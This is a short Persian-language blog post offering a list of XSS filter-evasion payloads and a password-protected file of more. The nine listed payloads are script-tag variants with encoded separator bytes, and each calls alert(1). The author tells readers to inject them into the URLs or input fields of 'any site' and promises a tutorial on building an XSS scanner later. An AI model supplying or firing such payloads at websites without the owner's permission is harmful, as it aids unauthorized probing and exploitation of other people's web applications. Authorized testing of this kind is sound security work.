بهترین payload های xss

سلام

توی این پست میخوام بهترین payload های حملات xss را براتون قرار بدم و شما هم میتونید از اونا توی url یا input یا. هر سایتی استفاده کنین و آسیب پذیری اون سایت را تشخیص بدید.

نمونه ای از payload ها:

.
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>        
'`"><\x00script>javascript:alert(1)</script>
.

دانلود فایل:

دریافت
حجم: 19.8 کیلوبایت
 

رمز فایل: clevers.ir

بزودی روش ساخت اسکنر این نوع باگ را هم آموزش میدم

نظر فراموش نشه.